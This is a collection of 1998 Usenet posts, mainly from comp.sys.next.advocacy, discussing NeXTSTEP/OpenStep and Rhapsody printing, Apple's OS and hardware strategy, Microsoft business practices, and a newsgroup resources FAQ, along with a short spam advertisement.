References: <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133> <6kt6us$sd$1@news.digifix.com> <ldo-0406982006200001@a24.hn1.wave.co.nz> <6l5oe5$ebr$5@ns3.vrx.net> <B19C0AF3-726E1@206.165.43.122> <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6l8u4t$8a$1@ns3.vrx.net> <B19DB822-EA73@206.165.43.51> <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165> <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
Lawson English <english@primenet.com> wrote:
> OK, so the Driver Kit has nothing to do with printer drivers. Does the
> Printer Panel + printer drivers of Rhapsody/NeXTstep allow extensions that
> define custom behavior of the printer so that the end-user and/or
> application and/or [equivalent of] printing extension can make use of this
> custom behavior?
Yes.
> Does the Carbon printing API of MacOS X allow this?
The Carbon API, being a subset of the MacOS 8 APIs, does pretty much
what MacOS 8 does, to make porting easier. Additional APIs designed by
the MacOS X printing team will expose additional functionality. Refer
to the WWDC transcripts from the printing and feedback sessions for more
details.
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: Q: price and hardware supported
Message-ID: <1998060700355800.UAA00313@ladder03.news.aol.com>
Date: 07 Jun 1998 00:35:58 GMT
Organization: AOL http://www.aol.com
Hi.
I am trying to locate information on the price of NeXT (and OpenSTEP) and
the processors that NeXT (and OpenSTEP) runs on.
If anyone could provide this information (preferably with URLs or other
references to back it up), I sure would appreciate it. And -- yes, I did
attempt to discover the information on my own by searching Apple's web site.
This information will be posted at a web site intended to compare and
contrast operating systems that can be used as servers.
Price comparison will be at <a
href="http://msem26.eng.ohio-state.edu/os/holistic/cost/cost.htm">http://m
sem26.eng.ohio-state.edu/os/holistic/cost/cost.htm</a> {NOTE: Before you run
off to the web site, this page is currently blank because I'm still gathering
information.
Hardware supported comparison will be at <a
href="http://msem26.eng.ohio-state.edu/os/holistic/hardware/hardware.htm">
http://msem26.eng.ohio-state.edu/os/holistic/hardware/hardware.htm</a> {NOTE:
Before you run off to the web site, this page is currently blank because I'm
still gathering information.
Thank you very much (Milo, MerefBast@aol.com)
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [REQUEST] Logo
Message-ID: <1998060700521500.UAA01983@ladder03.news.aol.com>
Date: 07 Jun 1998 00:52:15 GMT
Organization: AOL http://www.aol.com
Hi.
I was hoping to find a small GIF or JPEG image of the logo for NeXT and for
OpenStep.
This image will be used at a web site intended to compare and contrast
operating systems that can be used as servers.
Please either send the image as an e-mail attachment or provide a URL where
the image is located.
The OS comparison will be at <a
href="http://msem26.eng.ohio-state.edu/os/index.htm">http://msem26.eng.ohi
o-state.edu/os/index.htm</a> [NOTE: Before you run off to the web site, there
is nothing there except for empty structure because I'm still gathering
information.]
Thank you very much (Milo, MerefBast@aol.com)
Subject: Re: Any chance OPENSTEP for Mach on G3?
Newsgroups: comp.sys.next.advocacy
References: <6l9gma$shl$1@nntp.Stanford.EDU>
In-Reply-To: <6l9gma$shl$1@nntp.Stanford.EDU>
From: jsamson@istar.ca (Jean-Paul Samson)
Message-ID: <OFme1.683$hc.475852@NewsRead.Toronto.iSTAR.net>
Date: Sun, 07 Jun 1998 02:11:58 GMT
NNTP-Posting-Date: Sat, 06 Jun 1998 22:11:58 EDT
>I use these apps (among others) all the time on my NeXT Color Turbo
>(with 128MB RAM). I would like to get a faster machine, based on
>Motorola G3 technology, that has these features of OPENSTEP and
>preserves the GUI. Are there enough of us out there to organize a
>campaign, or is that absolutely positively dead in the water?
> This is not an incitement to flame. Only a query.
If you want a faster machine to run OPENSTEP, you'll have to resort to
buying an Intel-based PC. I highly doubt that they'd port OPENSTEP to
the G3; Rhapsody is this port and more. You still wouldn't be able to
run your legacy NEXTSTEP applications which were created using the old
(and now unsupported) NEXTSTEP API's and compiled only for Intel,
NeXT, HP, and Sun hardware.
What I think I'll do for old applications with no Rhapsody equivalent
is run them on my old NeXTstation and display them, via NXHosting, on
the Macintosh.
Jean-Paul
--
-===================================================================-
Jean-Paul C. Samson -==- jsamson@istar.ca (NeXTmail & MIME welcome)
-=============- http://www.cs.ualberta.ca/~jeanpaul -=============-
-===================================================================-
"Microsoft is a fact of life. They're like the air we breathe.
Perhaps a better analogy is bottled water, because you have to buy
it." -- Steve Jobs, Apple Computer's Worldwide Developers
Conference, May 16th, 1997
-===================================================================-
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <3654896587219@digifix.com>
Date: 7 Jun 1998 03:49:08 GMT
Organization: Digital Fix Development
Message-ID: <3379897192022@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1993. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
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_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sat, 06 Jun 1998 23:00:44 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357A106C.F94400F@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net>
Mime-Version: 1.0
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NNTP-Posting-Date: 7 Jun 1998 04:05:50 GMT
John Bauer wrote:
>
> Michael J. Peck wrote:
> I agree it's not as high as 99.99%. I also disagree with what I thought
> was your original implication that it's as low as 2%. Somewhere in the
> middle (though closer to 99.99 than 2), I'd say, thus IMO not in itself
> a primary cause for Apple's fall from consumer grace.
The numbers and the arguments to which they refer have been hopelessly
muddled in this conversation by Salvatore's odd reversals and lawyerly
paraphrasings (to which I object, your Honor; the witness has answered
the question).
If we could agree on a meaning of 'techie' (a word I did not introduce
into the discussion), I would be glad to give my wild estimate on the
percentage of computer users who fit the term. Under my loose definition
(someone who is competent, at least, to build their own working PC, for
instance, or to capably administer a Win95 installation; this is a very
low standard), I would say that something like 5-10% of all computer
users fit this description. This is a wild and unsubstantiated guess.
Bah, I'm willing to bet it's closer to 5%, actually. It's not high.
However, it's significant and growing.
> I admit this is a good example of irony. The OS is just one of the many
> choices most PC buyers don't want to deal with, making Apple's plug-in-
> and-go hardware a harder sell than it should be.
I don't see one thing in particular that Apple should do. Any attempts
to extrapolate a Grand Apple Vision from singular comments made in my
postings should be regarded as classic Salvatorian argumentative
tactics.
Rather, I believe that Apple is pointedly ignoring a very important
market. I also believe that the nature of Intel's off-the-shelf
architecture has consequences that affect many more people than simply
those labelled 'techies' (contrary to Salvatore's pointed line of
questioning and logic insertion). Many people do not, in fact, install
or administer their own hardware, but they nevertheless benefit (or
suffer, whatever the case may be) from the fact that they can buy
commodity hardware and have it installed by experts of their choosing
(sometimes *I'm* the expert of their choosing, in fact).
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: Pixel <plearnes@midway.uchicago.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <Eu61D0.3D6@midway.uchicago.edu>
User-Agent: tin/pre-1.4-980226 (UNIX) (SunOS/5.5.1 (sun4u))
Sender: news@midway.uchicago.edu (News Administrator)
Organization: Screaming Cat
References: <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com> <EtuyGM.LCH@midway.uchicago.edu> <6l1vr0$ssg$4@gte2.gte.net> <EtzLzn.6x8@midway.uchicago.edu> <6lcecq$2g0$1@gte1.gte.net>
Date: Sun, 7 Jun 1998 05:17:23 GMT
In comp.sys.next.advocacy Roger <rfelts@.> wrote:
> On Wed, 3 Jun 1998 17:59:47 GMT, someone claiming to be Pixel wrote:
No, I'm not claiming to be him, I really am Pixel! The one and only! And
you're doubt as to authenticity of my being offends me! I have enough
trouble dealing with my own doubts about me being me without someone else
throwing their doubts into the picture!
> The existence of undocumented APIs was not in question. The claim was
> that IE3 made use of these to be faster than NS. Any proof of that?
Somewhere. I don't think I'll remember the exact source any time soon,
(although some part of me wants to say that it was in something Bob
Cringely wrote) and repeated Altavista searches haven't turned much up.
If I fall back on the source, I'll be sure to post it. (Another part of me
wants to say that it was also part of the PC Magazine feature on IE3.0 and
NN3.0 that told that IE3.0 was faster, but I don't believe that it was in
there).
> Didn't think so.
I'll find it eventually. If you run against it once when looking over the
shit that Microsoft's done, it will inevitably turn up again.
<snip>
>>www.smartbooks.com/bw705ovrdrvchp.htm
> Ad for Overdrive. No quote from Steve.
Umm... I guess you didn't read the same Web Page that I did. :)
> conflicting statements about whether this so-called Chinese Wall
> between the two divisions actually existed. In 1983, Microsoft Vice
> President Steve Ballmer had told Business Week, "There is a very clear
> separation between our operating system business and our applications
> software. It's like the separation of church and state." Eight years
> later, in 1991, Microsoft executive Mike Maples gave a very much
> different answer in an interview with InfoWorld: "We didn't want there
> to be a Chinese Wall, and I don't think we've ever claimed that there
> was a Chinese Wall."
Although it's not the quote from Steve I'm looking for, the two statements
are by themselves pretty damning, wouldn't you say? Or maybe you wouldn't,
I don't know. But lying and hypocracy are the least of Microsoft's sins.
<snip>
> Could you read the links you are supplying next time to be sure that
> they support your point? Thanks.
Could you please read the links I'm supplying next time to be sure that
I don't have to waste my time pointing out rather obvious evidence to you?
Thanks.
> <snip URLs probably don't have any quote, either.)
Well, considering how well you did finding quotes in the first three, I
wonder what surprises were in store for you in the other URLs? The world
may never know...
>>I've given you a lot of leads. Why don't you open your eyes for a change?
> None of which support your position. I thought my request was fairly
> clear.
You want documentation? You want proof? You can't handle the truth!
The sad truth is that Microsoft strangles innovations and plays hardball
even with it's own allies. But that won't bring back competition back into
the OfficeWare application market, nor will it bring back competition in a
hundred other application markets! But what we are doing here saves lives!
What we do saves lives! And if that means that companies like Microsoft
have to die, then so be it! I'm willing to sacrifice one Microsoft to save
the hundreds of innovative application developers out there struggling to
make it in a Microsoft dominated environment. And if that makes me one of
the bad guys, so be it! I am the Eggman, I am the Eggman, I am the Walrus!
Koo koo kachoo!
--
Yours,
Pixel
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 7 Jun 1998 15:23:25 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6leb9d$pdo$1@news.cs.tu-berlin.de>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <B19EBA8D-102CF@206.165.43.115>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
"Lawson English" <english@primenet.com> writes:
>Side-stepping the question with a cutesy "Bzzt" is still side-stepping the
>question.
It's not side-stepping. It's saying: "GO LOOK AT IT BEFORE MAKING CLAIMS
or issuing stupid challenges".
With NS/OS, printer drivers are (usually) separate programs. Thus,
they can do just about anything they want, including putting up all
the horrid UI gadgets you can think of, playing stars and stripes
parsing all the text and sending it per FTP to a japanese language
translation service, installing a mail filter to listen for the
response, requeue that response to a printer in another part of
the country and turn everything in the upper left hand corner
green.
However, the better ones (IMHO) don't, but rather restrict themselves
to pop-up selectable print-panel options, defined in standardized
PPD files . These options then get placed in the Postscript output
stream as DSC comments + optional Postscript code. Either the
Postscript code tells the device what to do, or the driver parses
the DSC comments and takes it from there.
>Does the Carbon printing solution?
What does Carbon have to do with anything? It's a compatibility
layer for current MacOS programs I therefore expect it to behave
as much like the current MacOS printing system as possible.
>If not, where do you come off referring to GX's solution as a "convoluted
>mess" when there isn't [I presume, given your side-stepping of the issue]
>the equivalent functionality available in Rhaposdy/Carbon/MacOS X?
I come off referring to a convoluted mess as a convoluted mess because
I know one when I see one, and because I have written convoluted
messes like the one I saw peeking at me from between the pages of
the GX printing manual, which I had picked up looking for some good
ideas. There are actually some good ideas in there, but these
aren't particularily new, not that frequent, and buried in a big,
convoluted mess.
The NS/OS/Rhap solution is clean, simple, extensible and compatible
with existing industry standards. It could be a little more
convenient at times, but I'd rather have to implement missing
features than implement *around* misunderstood featuritis.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: mark@sapphire.oaai.com (Mark Onyschuk)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Arguments for STREAMS
Date: 7 Jun 1998 11:37:31 GMT
Organization: M. Onyschuk and Associates Inc.
Message-ID: <slrn6nlghq.lrh.mark@sapphire.oaai.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net> <bhahn-ya02408000R0506981645330001@news.transoft.net>
Brendan Hahn wrote:
>maury@remove_this.istar.ca (Maury Markowitz) wrote:
>>5) Sockets is is increadibly stable and secure,
>
>I think you missed the point...it's not whether to have socket APIs for
>transport or not--there undoubtedly will be--but whether the underlying
>network software system will be STREAMS-based or not. There's no
>contradiction in having a STREAMS network architecture with a socket API on
>top.
No, I think Maury's point is that by using the network stack from say, an
OpenBSD distribution, rather than rolling your own, you get to leverage an
incredible amount of testing and expertise in the broader community.
It's not providing the API on top that's hard, rather its doing a good job
on the expanse of code underneath that's important.
Mark
From: marathon@milehigh.on.ca (Marathon)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Message-ID: <marathon-0706982103550001@ppp1070.on.bellglobal.com>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com> <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net> <THISPARTISFAKEkurtg-0706981433080001@rn.fi.ameslab.gov>
Organization: GREENriver
u"XJXHl(.@gS@|BpW7i6qpdC?I*JHAc0yIFjA4wgNnUY,:f#|DZ:7#ZIil+.2F/p(AjP
Ec3{^>A@A+V%CPG@:D46Lka=Beb8k0|<{cwtiTcB.sLT'tvz=uY(O!=8-
Date: Mon, 08 Jun 1998 01:05:00 GMT
NNTP-Posting-Date: Sun, 07 Jun 1998 21:05:00 EDT
In article <THISPARTISFAKEkurtg-0706981433080001@rn.fi.ameslab.gov>,
THISPARTISFAKEkurtg@iastate.edu (Kurt Glaesemann) wrote:
> €In article <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>, "William R.
> €Cousert" <lcgraphics@email.msn.com> wrote:
> €
> €> I thought the PCI standard allowed for only four slots? Is there a new
> €> standard? If so, how many slots can you have?
> €
> €There are some RS/6000's with several dozen PCI slots.
The 9600 Mach 4 300mhz has 6 slots.
--
Marathon
---------------------------------------------------------
email address in my header in incorrect. Please use this one:
<M 2938748 at idirect dot com>
From: "William R. Cousert" <lcgraphics@email.msn.com>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com>
Subject: Re: Could cloining be coming back?
Date: Sun, 7 Jun 1998 12:07:31 -0700
Message-ID: <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
I thought the PCI standard allowed for only four slots? Is there a new
standard? If so, how many slots can you have?
Peter Bjørn Perlsø wrote in message <357aa69c.0@d2o101.telia.com>...
>1) Mac OS X will be able to boot of a open firm-ware.
>2) Future Macs will not have proprietary ROM's
>3) Apple is negotiating with an undisclosed 3rd party to build a megatower
>with 6 PCI slots for them.
>
>So cloning is not a closed chapter.
>
>
>+-----------------------------------------+
>I A computer without Windows I
>I is like a fish without a bicycle I
>+-----------------------------------------+
>
From: PMaeteici@NOSPAMaol.com (Paul McGrane)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Message-ID: <PMaeteici-0706981520140001@cc962257-a.vron1.nj.home.com>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com> <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>
Date: Sun, 07 Jun 1998 19:19:55 GMT
NNTP-Posting-Date: Sun, 07 Jun 1998 12:19:55 PDT
Organization: @Home Network
In article <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>, "William R.
Cousert" <lcgraphics@email.msn.com> wrote:
> I thought the PCI standard allowed for only four slots? Is there a new
> standard? If so, how many slots can you have?
>
It's not like this is new, there have been macs out with 6 PCI slots for 3
years already! I do remember that at least one cloner's 6 slot system was
really two sets of 3 underneath. Not sure about how Apple's were set up.
...Paul McGrane
From: THISPARTISFAKEkurtg@iastate.edu (Kurt Glaesemann)
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Re: Could cloining be coming back?
Date: Sun, 07 Jun 1998 14:33:08 -0500
Organization: Iowa State University
Message-ID: <THISPARTISFAKEkurtg-0706981433080001@rn.fi.ameslab.gov>
References: <3579649C.99FB832@concentric.net> <357aa69c.0@d2o101.telia.com> <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>
G!&hNAq&x@f8vWD7fT!t-u^GqJSXH
In article <e2Fpubkk9GA.238@upnetnews02.moswest.msn.net>, "William R.
Cousert" <lcgraphics@email.msn.com> wrote:
> I thought the PCI standard allowed for only four slots? Is there a new
> standard? If so, how many slots can you have?
There are some RS/6000's with several dozen PCI slots.
--
Kurt Glaesemann (real e-mail has no double @)
Physical Chemistry Graduate Student
Iowa State University of Science and Technology
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 2 Jun 1998 22:26:30 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6lfhs4$11oq1@odie.mcleod.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
I am a long time NeXTstep/Openstep fan. Small market share has not
historically scared me away. The difference is that my company could sell 6
figure vertical applications for openstep. Many of our former customers
regard the Apple purchase of NeXT as a sure sign of its death. Many
companies will NOT buy any Apple product ever again even if they used to buy
it from NeXT. Being from Apple makes it tainted.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
Date: Mon, 8 Jun 1998 12:31:09 +1000
Organization: CUSTOMER OF NHJ NORTHLINK COMMUNICATIONS
Message-ID: <897273336.569773@monster.nlc.net.au>
References: <3576c2a1.0@news.depaul.edu>
Cache-Post-Path: monster.nlc.net.au!unknown@dialine43.nlc.net.au
Jonathan W Hendry wrote:
>A while back there was a raging argument about YellowBox in
>a handheld. One of the main obstacles discussed was the
>requirements of DPS. That obstacle seems to have been removed.
And the obstacle of "which API?" has been added...
>Can anyone think of a reason Apple couldn't field a YellowBox
>compatible API for handhelds? It could use a very minimal
>kernel underneath, and a version of Quickdraw/E tuned for a small
>screen and tight memory. Likewise for the YB frameworks themselves.
I don't know enough about it really - but it makes sense to me. I
have a further related question: Now we know about MacOS X - what
API would be put into a MacOS X Lite? (I know Unix would be tossed).
Do they make it YB? Carbon? Java? For efficiency they want only one
right? In terms of small, efficient, NEW & COOL applications, YB would
be the way to go.
But maybe they're trying to get current MacOS developers over (a
mistake for handhelds IMO) so carbon would be attractive.
Someone said YB & Newton shared a great OO way of programming -
so for the best Lite OS on handhelds maybe Apple should get Newton
developers to port to YB.
Unfortunately they've pissed off a lot of those developers, and I think
Java is tied closely to their OS strategy (Java+YB)
I'd like to see Apple re-enter this market with a vengeance. As long
as Carbon isn't relied on the rest of the pieces are good.
Greg
From: tknwbvlj@hello.com
Subject: WINDOWS98 OEM-$25, PSX GAMES, SATURN GAMES, ADULT VCDS, VCD MOVIES, LATEST SOFTWARES
AND INSTALLERS $ 4 UP
Message-ID: <sbZblJek9GA.127@news.powernethk.com>
Newsgroups: comp.sys.next.advocacy
Date: Sun, 07 Jun 1998 15:03:38 +0800
For info
icq # 13106356
Thank you and have a nice day
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 07 Jun 1998 20:00:51 GMT
Organization: gte.net
Message-ID: <6leqrd$m3l$3@gte1.gte.net>
References: <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com> <EtuyGM.LCH@midway.uchicago.edu> <6l1vr0$ssg$4@gte2.gte.net> <EtzLzn.6x8@midway.uchicago.edu> <6lcecq$2g0$1@gte1.gte.net> <Eu61D0.3D6@midway.uchicago.edu>
Mime-Version: 1.0
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On Sun, 7 Jun 1998 05:17:23 GMT, someone claiming to be Pixel wrote:
>>>www.smartbooks.com/bw705ovrdrvchp.htm
>> Ad for Overdrive. No quote from Steve.
>Umm... I guess you didn't read the same Web Page that I did. :)
>
>> conflicting statements about whether this so-called Chinese Wall
>> between the two divisions actually existed. In 1983, Microsoft Vice
>> President Steve Ballmer had told Business Week, "There is a very clear
>> separation between our operating system business and our applications
>> software. It's like the separation of church and state." Eight years
>> later, in 1991, Microsoft executive Mike Maples gave a very much
>> different answer in an interview with InfoWorld: "We didn't want there
>> to be a Chinese Wall, and I don't think we've ever claimed that there
>> was a Chinese Wall."
>
>Although it's not the quote from Steve I'm looking for, the two statements
>are by themselves pretty damning, wouldn't you say? Or maybe you wouldn't,
>I don't know. But lying and hypocracy are the least of Microsoft's sins.
But this was in response to a claim that Ballmer had recently admitted
that the chinese wall had never existed. What you have is Maples
saying this.
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 07 Jun 1998 22:09:55 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <357B5603.64B3977E@milestonerdl.com>
